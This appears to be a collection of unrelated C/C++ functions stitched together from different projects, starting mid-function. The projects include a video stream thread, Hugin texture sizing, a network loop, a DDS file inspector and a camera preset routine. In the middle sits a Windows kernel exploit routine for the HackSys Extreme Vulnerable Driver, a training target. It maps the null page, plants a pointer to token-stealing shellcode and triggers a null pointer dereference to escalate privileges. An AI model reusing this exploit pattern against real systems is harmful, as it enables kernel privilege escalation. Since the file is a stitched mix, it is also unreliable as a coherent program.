else if(lastidx == MAX_ULONG && idx != 0)
{
DEBUG_INFO("DISCARD lastidx 0x%08x idx 0x%08x\n",(uint32_t)lastidx,idx);
}
}
lastidx = idx;
if(pInfo->s_FrameType == VIDEO_I_FRAME ||
pInfo->s_FrameType == VIDEO_IDR_FRAME)
{
type = I_FRAME_TYPE;
}
pts = VFREQ_PER_SECOND(tmval.tv_sec) + VFREQ_PER_USECOND(tmval.tv_usec);
if(pts < 100000)
{
/*make sure it is not overflow*/
pts *= 9;
pts /= 100;
}
else
{
pts /= 100;
pts *= 9;
}
ret = clock_gettime(CLOCK_MONOTONIC,&tmspec);
if(ret < 0)
{
ERROR_INFO("could not get time error(%d)\n",errno);
}
else
{
getpts = VFREQ_PER_SECOND(tmspec.tv_sec) + VFREQ_PER_NANOSECOND(tmspec.tv_nsec);
if(lastgetpts != 0 && (getpts - lastgetpts) >80000)
{
ERROR_INFO("type %d EXPIRE TIME getpts 0x%llx lastgetpts 0x%llx (%lld)\n",type,getpts,lastgetpts,(getpts-lastgetpts));
}
lastgetpts = getpts;
}
//DEBUG_INFO("idx (0x%x) type (%d) pts %ld:%ld pts 0x%llx frametype (%d)\n",
// idx,type,tmval.tv_sec,tmval.tv_usec,pts,pInfo->s_FrameType);
if(type == I_FRAME_TYPE)
{
DEBUG_INFO("[%d] type %d frame idx %d pts 0x%llx size(%d) %ld:%ld\n",this->m_StreamId,pInfo->s_FrameType,idx,pts,buflen,tmspec.tv_sec,tmspec.tv_nsec);
}
ret = this->__PushStreamData(pBuf,buflen,type,idx,pts);
if(ret <=0)
{
/*we free memory for not insert into the buffer list*/
SDK_ASSERT(type != I_FRAME_TYPE);
//DEBUG_INFO("[%d]insert frame idx %d failed type (%d)\n",this->m_StreamId,idx,type);
free(pBuf);
}
pBuf=NULL;
buflen = 0;
continue;
}
else if(gmiret == GMI_TRY_AGAIN_ERROR)
{
/*nothing to read ,so we should read later*/
free(pBuf);
pBuf = NULL;
buflen = 0;
continue;
}
else
{
/*nothing to read ,so we should read later*/
free(pBuf);
pBuf = NULL;
buflen = 0;
continue;
}
}
ret = 0;
out:
if(pBuf)
{
free(pBuf);
}
pBuf = NULL;
buflen = 0;
this->m_ThreadExited = 1;
return (void*)ret;
}
DWORD WINAPI NullPointerDereferenceThread(LPVOID lpParameter) {
HANDLE hFile = NULL;
DWORD lpBytesReturned;
PVOID nullPointer = NULL;
ULONG magicValue = 0xBAADF00D;
PVOID nullPageBaseAddress = NULL;
LPCSTR lpFileName = (LPCSTR)DEVICE_NAME;
PVOID pEopShellcode = &TokenStealingShellcodeWin7Generic;
__try {
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
}
else {
DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
}
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName);
hFile = GetDeviceHandle(lpFileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Mapping Null Page\n");
if (!MapNullPage()) {
DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");
nullPointer = (PVOID)((ULONG)nullPageBaseAddress + 0x4);
// now set the function pointer
*(PULONG)nullPointer = (ULONG)pEopShellcode;
DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)nullPointer);
DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", nullPointer);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopShellcode);
DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
(LPVOID)&magicValue,
0,
NULL,
0,
&lpBytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
void TextureManager::CheckUpdate()
{
// The images or their lenses have changed.
// Find what size we should have the textures.
// Note that one image changing does affect the rest, if an image suddenly
// takes up more space, the others should take up less.
unsigned int num_images = m_pano->getNrOfImages();
if (num_images == 0)
{
textures.clear();
return;
}
// if we are doing photometric correction, and someone changed the output
// exposure, all of our images are at the wrong exposure.
if (photometric_correct && view_state->RequireRecalculatePhotometric())
{
textures.clear();
}
HuginBase::PanoramaOptions *dest_img = view_state->GetOptions();
// Recalculuate the ideal image density if required
// TODO tidy up once it works.
DEBUG_INFO("Updating texture sizes.");
// find the total of fields of view of the images, in degrees squared
// we assume each image has the same density across all it's pixels
double total_fov = 0.0;
for (unsigned int image_index = 0; image_index < num_images; image_index++)
{
HuginBase::SrcPanoImage *src = view_state->GetSrcImage(image_index);
double aspect = double(src->getSize().height())
/ double(src->getSize().width());
total_fov += src->getHFOV() * aspect;
};
// now find the ideal density
texel_density = double(GetMaxTotalTexels()) / total_fov;
// now recalculate the best image sizes
// The actual texture size is the biggest one possible withouth scaling the
// image up in any direction. We only specifiy mipmap levels we can fit in
// a given amount of texture memory, while respecting the image's FOV.
int texels_used = 0;
double ideal_texels_used = 0.0;
for (unsigned int image_index = 0; image_index < num_images; image_index++)
{
// find this texture
// if it has not been created before, it will be created now.
std::map<TextureKey, TextureInfo>::iterator it;
HuginBase::SrcPanoImage *img_p = view_state->GetSrcImage(image_index);
TextureKey key(img_p, &photometric_correct);
it = textures.find(key);
TextureInfo *texinfo;
/* This section would allow us to reuse textures generated when we want
* to change the size. It is not used as it causes segmentation faults
* under Ubuntu 8.04's "ati" graphics driver.
*/
#if 0
if (it == textures.end())
{
// We haven't seen this image before.
// Find a size for it and make its texture.
// store the power that 2 is raised to, not the actual size
unsigned int max_tex_width_p = int(log2(img_p->getSize().width())),
max_tex_height_p = int(log2(img_p->getSize().height()));
// check this is hardware supported.
{
unsigned int biggest = GetMaxTextureSizePower();
if (biggest < max_tex_width_p) max_tex_width_p = biggest;
if (biggest < max_tex_height_p) max_tex_height_p = biggest;
}
std::cout << "Texture size for image " << image_index << " is "
<< (1 << max_tex_width_p) << " by "
<< (1 << max_tex_height_p) << "\n";
// create a new texinfo and store the texture details.
std::cout << "About to create new TextureInfo for "
<< img_p->getFilename()
<< ".\n";
std::pair<std::map<TextureKey, TextureInfo>::iterator, bool> ins;
ins = textures.insert(std::pair<TextureKey, TextureInfo>
(TextureKey(img_p, &photometric_correct),
// the key is used to identify the image with (or without)
// photometric correction parameters.
TextureInfo(max_tex_width_p, max_tex_height_p)
));
texinfo = &((ins.first)->second);
}
else
{
texinfo = &(it->second);
}
// find the highest mipmap we want to use.
double hfov = img_p->getHFOV(),
aspect = double (texinfo->height) / double (texinfo->width),
ideal_texels = texel_density * hfov * aspect,
// we would like a mipmap with this size:
ideal_tex_width = sqrt(ideal_texels / aspect),
ideal_tex_height = aspect * ideal_tex_width;
// Ideally this mipmap would bring us up to this many texels
ideal_texels_used += ideal_texels;
std::cout << "Ideal mip size: " << ideal_tex_width << " by "
<< ideal_tex_height << "\n";
// Find the smallest mipmap level that is at least this size.
int max_mip_level = (texinfo->width_p > texinfo->height_p)
? texinfo->width_p : texinfo->height_p;
int mip_level = max_mip_level - ceil((ideal_tex_width > ideal_tex_height)
? log2(ideal_tex_width) : log2(ideal_tex_height));
// move to the next mipmap level if we are over budget.
if ((texels_used + (1 << (texinfo->width_p + texinfo->height_p
- mip_level * 2)))
> ideal_texels_used)
{
// scale down
mip_level ++;
}
// don't allow any mipmaps smaller than the 1 by 1 pixel one.
if (mip_level > max_mip_level) mip_level = max_mip_level;
// don't allow any mipmaps with a negative level of detail (scales up)
if (mip_level < 0) mip_level = 0;
// find the size of this level
int mip_width_p = texinfo->width_p - mip_level,
mip_height_p = texinfo->height_p - mip_level;
// check if we have scaled down to a single line, and make sure we
// limit the line's width to 1 pixel.
if (mip_width_p < 0) mip_width_p = 0;
if (mip_height_p < 0) mip_height_p = 0;
// now count these texels as used- we are ignoring the smaller mip
// levels, they add 1/3 on to the size.
texels_used += 1 << (mip_width_p + mip_height_p);
std::cout << "biggest mipmap of image " << image_index << " is "
<< (1 << mip_width_p) << " by " << (1 << mip_height_p)
<< " (level " << mip_level <<").\n";
std::cout << "Ideal texels used " << int(ideal_texels_used)
<< ", actually used " << texels_used << ".\n\n";
if (texinfo->min_lod != mip_level)
{
// maximum level required changed.
if (texinfo->min_lod > mip_level)
{
// generate more levels
texinfo->DefineLevels(mip_level,
(texinfo->min_lod > max_mip_level) ?
max_mip_level : texinfo->min_lod - 1,
photometric_correct, dest_img,
view_state->GetSrcImage(image_index));
}
texinfo->SetMaxLevel(mip_level);
texinfo->min_lod = mip_level;
}
}
#endif
/* Instead of the above section, replace the whole texture when appropriate:
*/
// Find a size for it
double hfov = img_p->getHFOV(),
aspect = double (img_p->getSize().height())
/ double (img_p->getSize().width()),
ideal_texels = texel_density * hfov * aspect,
// we would like a texture this size:
ideal_tex_width = sqrt(ideal_texels / aspect),
ideal_tex_height = aspect * ideal_tex_width;
// shrink if bigger than the original, avoids scaling up excessively.
if (ideal_tex_width > img_p->getSize().width())
ideal_tex_width = img_p->getSize().width();
if (ideal_tex_height > img_p->getSize().height())
ideal_tex_height = img_p->getSize().height();
// we will need to round up/down to a power of two
// round up first, then shrink if over budget.
// store the power that 2 is raised to, not the actual size
unsigned int tex_width_p = int(log2(ideal_tex_width)) + 1,
tex_height_p = int(log2(ideal_tex_height)) + 1;
// check this is hardware supported.
{
unsigned int biggest = GetMaxTextureSizePower();
if (biggest < tex_width_p) tex_width_p = biggest;
if (biggest < tex_height_p) tex_height_p = biggest;
}
// check if this is over budget.
ideal_texels_used += ideal_texels;
// while the texture is over budget, shrink it
while ( (texels_used + (1 << (tex_width_p + tex_height_p)))
> ideal_texels_used)
{
// smaller aspect means the texture is wider.
if ((double) (1 << tex_height_p) / (double) (1 << tex_width_p)
< aspect)
{
tex_width_p--;
} else {
tex_height_p--;
}
}
// we have a nice size
texels_used += 1 << (tex_width_p + tex_height_p);
if ( it == textures.end()
|| (it->second).width_p != tex_width_p
|| (it->second).height_p != tex_height_p)
{
// Either: 1. We haven't seen this image before
// or: 2. Our texture for this is image is the wrong size
// ...therefore we make a new one the right size:
//
// remove duplicate key if exists
TextureKey checkKey (img_p, &photometric_correct);
if (textures.find(checkKey) != textures.end()) {
// Already exists in map, remove it first before adding a new one
textures.erase(checkKey);
}
std::pair<std::map<TextureKey, TextureInfo>::iterator, bool> ins;
ins = textures.insert(std::pair<TextureKey, TextureInfo>
(TextureKey(img_p, &photometric_correct),
// the key is used to identify the image with (or without)
// photometric correction parameters.
TextureInfo(view_state, tex_width_p, tex_height_p)
));
// create and upload the texture image
texinfo = &((ins.first)->second);
texinfo->DefineLevels(0, // minimum mip level
// maximum mip level
tex_width_p > tex_height_p ? tex_width_p : tex_height_p,
photometric_correct,
*dest_img,
*view_state->GetSrcImage(image_index));
texinfo->DefineMaskTexture(*view_state->GetSrcImage(image_index));
}
else
{
if(view_state->RequireRecalculateMasks(image_index))
{
//mask for this image has changed, also update only mask
(*it).second.UpdateMask(*view_state->GetSrcImage(image_index));
};
}
}
S32 CNetObj::Run()
{
DEBUG_INFO("CNetObj::Run()...\n");
//Test;
//m_pStream->Open("E:\\Src\\Video\\TestVideo.avi", AV_STREAM_MODE);
//m_bAvStreamSnd = true;
S32 rSize = 0;
S32 FreeLen = 0;
timeval tv = { 0, 200 * 1000 };
fd_set rFds;
fd_set wFds;
fd_set * pWFds = NULL;
m_bRuning = true;
while (m_bRuning)
{
if (m_bResetSock)
{
if (MW_SUCC != m_Sock.Reconnect())
{
sleep(3);
continue;
}
m_bResetSock = false;
}
FD_ZERO(&rFds);
FD_ZERO(&wFds);
FD_SET(m_Sock.Handle(), &rFds);
FD_SET(m_Sock.Handle(), &wFds);
if (m_bAvStreamSnd)
{
pWFds = &wFds;
}
else
{
pWFds = NULL;
}
if (::select(m_Sock.Handle() + 1, &rFds, pWFds, NULL, &tv) <= 0)
{
continue;
}
if (FD_ISSET(m_Sock.Handle(), &rFds))
{
FreeLen = m_RcvBuf.GetFreeLen();
if (FreeLen < 64)
{
DEBUG_INFO("The packet is to bigger...\n");
m_RcvBuf.Clear();
FreeLen = m_RcvBuf.GetFreeLen();
}
rSize = RcvData(m_RcvBuf.GetWrPos(), FreeLen, 3);
if (rSize > 0)
{
m_RcvBuf.AddDataLen(rSize);
ParseData();
}
}
if (pWFds && FD_ISSET(m_Sock.Handle(), &wFds))
{
SndAvStream(5);
}
}
m_bSafeDelete = true;
//ObjStop();
DEBUG_INFO("Session exit sHandle:%d\n", m_Sock.Handle());
return MW_SUCC;
}
void CTcpConn::DoCancel()
{
DEBUG_INFO("CTcpConn(%p) DoCancel\n", this);
iSocket.CancelAll();
}
static bool print_dds_info(const void *pData, crn_uint32 data_size, unsigned int *width, unsigned int *height, unsigned int *format, unsigned int *mipmaps)
{
if ((data_size < 128) || (*reinterpret_cast<const crn_uint32*>(pData) != crnlib::cDDSFileSignature))
return false;
const crnlib::DDSURFACEDESC2 &desc = *reinterpret_cast<const crnlib::DDSURFACEDESC2*>((reinterpret_cast<const crn_uint8*>(pData) + sizeof(crn_uint32)));
if (desc.dwSize != sizeof(crnlib::DDSURFACEDESC2))
return false;
DEBUG_INFO("DDS file information:\n");
DEBUG_INFO("File size: %u, Dimensions: %ux%u, Pitch/LinearSize: %u\n", data_size, desc.dwWidth, desc.dwHeight, desc.dwLinearSize);
DEBUG_INFO("MipMapCount: %u, AlphaBitDepth: %u\n", desc.dwMipMapCount, desc.dwAlphaBitDepth);
*width = desc.dwWidth;
*height = desc.dwHeight;
*format = desc.ddpfPixelFormat.dwFourCC;
*mipmaps = desc.dwMipMapCount;
return true;
#if 0 // Rest of the code is a copy from crunch project. Will be adapted if needed, but only as a reminder here
const char *pDDSDFlagNames[] =
{
"DDSD_CAPS", "DDSD_HEIGHT", "DDSD_WIDTH", "DDSD_PITCH",
NULL, "DDSD_BACKBUFFERCOUNT", "DDSD_ZBUFFERBITDEPTH", "DDSD_ALPHABITDEPTH",
NULL, NULL, NULL, "DDSD_LPSURFACE",
"DDSD_PIXELFORMAT", "DDSD_CKDESTOVERLAY", "DDSD_CKDESTBLT", "DDSD_CKSRCOVERLAY",
"DDSD_CKSRCBLT", "DDSD_MIPMAPCOUNT", "DDSD_REFRESHRATE", "DDSD_LINEARSIZE",
"DDSD_TEXTURESTAGE", "DDSD_FVF", "DDSD_SRCVBHANDLE", "DDSD_DEPTH"
};
DEBUG_INFO("DDSD Flags: 0x%08X\n", desc.dwFlags);
for (unsigned int i = 0; i < sizeof(pDDSDFlagNames)/sizeof(pDDSDFlagNames[0]); i++)
if ((pDDSDFlagNames[i]) && (desc.dwFlags & (1 << i)))
DEBUG_INFO(" %s\n", pDDSDFlagNames[i]);
DEBUG_INFO("ddpfPixelFormat.dwFlags: 0x%08X\n", desc.ddpfPixelFormat.dwFlags);
if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_ALPHAPIXELS) DEBUG_INFO(" DDPF_ALPHAPIXELS\n");
if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_ALPHA) DEBUG_INFO(" DDPF_ALPHA\n");
if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_FOURCC) DEBUG_INFO(" DDPF_FOURCC\n");
if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_PALETTEINDEXED8) DEBUG_INFO(" DDPF_PALETTEINDEXED8\n");
if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_RGB) DEBUG_INFO(" DDPF_RGB\n");
if (desc.ddpfPixelFormat.dwFlags & crnlib::DDPF_LUMINANCE) DEBUG_INFO(" DDPF_LUMINANCE\n");
DEBUG_INFO("ddpfPixelFormat.dwFourCC: 0x%08X '%c' '%c' '%c' '%c'\n",
desc.ddpfPixelFormat.dwFourCC,
std::max(32U, desc.ddpfPixelFormat.dwFourCC & 0xFF),
std::max(32U, (desc.ddpfPixelFormat.dwFourCC >> 8) & 0xFF),
std::max(32U, (desc.ddpfPixelFormat.dwFourCC >> 16) & 0xFF),
std::max(32U, (desc.ddpfPixelFormat.dwFourCC >> 24) & 0xFF));
DEBUG_INFO("dwRGBBitCount: %u 0x%08X\n",
desc.ddpfPixelFormat.dwRGBBitCount, desc.ddpfPixelFormat.dwRGBBitCount);
DEBUG_INFO("dwRGBBitCount as FOURCC: '%c' '%c' '%c' '%c'\n",
std::max(32U, desc.ddpfPixelFormat.dwRGBBitCount & 0xFF),
std::max(32U, (desc.ddpfPixelFormat.dwRGBBitCount >> 8) & 0xFF),
std::max(32U, (desc.ddpfPixelFormat.dwRGBBitCount >> 16) & 0xFF),
std::max(32U, (desc.ddpfPixelFormat.dwRGBBitCount >> 24) & 0xFF));
DEBUG_INFO("dwRBitMask: 0x%08X, dwGBitMask: 0x%08X, dwBBitMask: 0x%08X, dwRGBAlphaBitMask: 0x%08X\n",
desc.ddpfPixelFormat.dwRBitMask, desc.ddpfPixelFormat.dwGBitMask, desc.ddpfPixelFormat.dwBBitMask, desc.ddpfPixelFormat.dwRGBAlphaBitMask);
DEBUG_INFO("ddsCaps.dwCaps: 0x%08X\n", desc.ddsCaps.dwCaps);
if (desc.ddsCaps.dwCaps & crnlib::DDSCAPS_COMPLEX) DEBUG_INFO(" DDSCAPS_COMPLEX\n");
if (desc.ddsCaps.dwCaps & crnlib::DDSCAPS_TEXTURE) DEBUG_INFO(" DDSCAPS_TEXTURE\n");
if (desc.ddsCaps.dwCaps & crnlib::DDSCAPS_MIPMAP) DEBUG_INFO(" DDSCAPS_MIPMAP\n");
DEBUG_INFO("ddsCaps.dwCaps2: 0x%08X\n", desc.ddsCaps.dwCaps2);
const char *pDDCAPS2FlagNames[] =
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, "DDSCAPS2_CUBEMAP", "DDSCAPS2_CUBEMAP_POSITIVEX", "DDSCAPS2_CUBEMAP_NEGATIVEX",
"DDSCAPS2_CUBEMAP_POSITIVEY", "DDSCAPS2_CUBEMAP_NEGATIVEY", "DDSCAPS2_CUBEMAP_POSITIVEZ", "DDSCAPS2_CUBEMAP_NEGATIVEZ",
NULL, NULL, NULL, NULL,
NULL, "DDSCAPS2_VOLUME"
};
for (unsigned int i = 0; i < sizeof(pDDCAPS2FlagNames)/sizeof(pDDCAPS2FlagNames[0]); i++)
if ((pDDCAPS2FlagNames[i]) && (desc.ddsCaps.dwCaps2 & (1 << i)))
DEBUG_INFO(" %s\n", pDDCAPS2FlagNames[i]);
DEBUG_INFO("ddsCaps.dwCaps3: 0x%08X, ddsCaps.dwCaps4: 0x%08X\n",
desc.ddsCaps.dwCaps3, desc.ddsCaps.dwCaps4);
return true;
#endif
}
/**********************************
**Writer:YasirLiang
**Date:2015-12-8
**Name:camera_preset_save
**Param:
** cmd:0
** data:NULL
** data_len:0
**Return Value: -1:Error
**State:在当前预置参数gcurpresetcmr中保存终
** 端的预置位
************************************/
int camera_preset_save( uint16_t cmd, void *data, uint32_t data_len )
{
uint16_t index = 0;
uint8_t preset = 0;
DEBUG_INFO( "=====gcurpresetcmr.tmnl_addr = 0x%04x", gcurpresetcmr.tmnl_addr );
if( 0xffff == gcurpresetcmr.tmnl_addr )
{
return -1;
}
if( camera_preset_list_exit_addr( gcurpresetcmr.tmnl_addr, &index))
{
gpresetcmr_list[index].preset_point_num = 0xff;
if( !camera_prese_num(gcurpresetcmr.camera_num, &preset ))
{
return -1;
}
gcurpresetcmr.preset_point_num = preset;
}
else if( camera_preset_list_exit_addr(0xffff, &index) )
{
gpresetcmr_list[index].preset_point_num = 0xff;
gpresetcmr_list[index].camera_num = 0xff;
if( !camera_prese_num(gcurpresetcmr.camera_num, &preset) )
{
return -1;
}
gcurpresetcmr.preset_point_num = preset;
}
else
{
DEBUG_INFO( "not find preset addr!" );
return -1;
}
gpresetcmr_list[index].camera_num = gcurpresetcmr.camera_num;
gpresetcmr_list[index].preset_point_num = gcurpresetcmr.preset_point_num;
gpresetcmr_list[index].tmnl_addr = gcurpresetcmr.tmnl_addr;
DEBUG_INFO( "index in gpresetcmr_list = %d, [0x%04x-%d-%d]", index, gpresetcmr_list[index].tmnl_addr, gpresetcmr_list[index].camera_num, gpresetcmr_list[index].preset_point_num );
camera_pro_control( gcurpresetcmr.camera_num, CAMERA_CTRL_PRESET_SET, 0,\
gcurpresetcmr.preset_point_num );
camera_profile_format cmr_file;
int write_byte = 0;
write_byte = sizeof(preset_point_format)*PRESET_NUM_MAX;
memcpy( cmr_file.cmr_preset_list, gpresetcmr_list, write_byte );
camera_profile_fill_check( &cmr_file, PRESET_NUM_MAX );
if( -1 != Fseek(gpreset_fd, 0, SEEK_SET) )
{
camera_profile_write( gpreset_fd, &cmr_file );
Fflush( gpreset_fd );
}
#ifdef __CAMERA_DEBUG__
preset_camera_list_info();
#endif
if((gcurpresetcmr.tmnl_addr != FULL_VIEW_ADDR) && (gcurpresetcmr.tmnl_addr != BACKUP_FULL_VIEW_ADDR))
{//非全景定位保存预置后需要熄灭相应终端的指示灯
tmnl_pdblist close_node = found_terminal_dblist_node_by_addr( gcurpresetcmr.tmnl_addr ); // 注: ====>>>这里也操作了终端链表<<<<<<<<=====
trans_model_unit_disconnect( close_node->tmnl_dev.entity_id, close_node );
}
return 0;
}
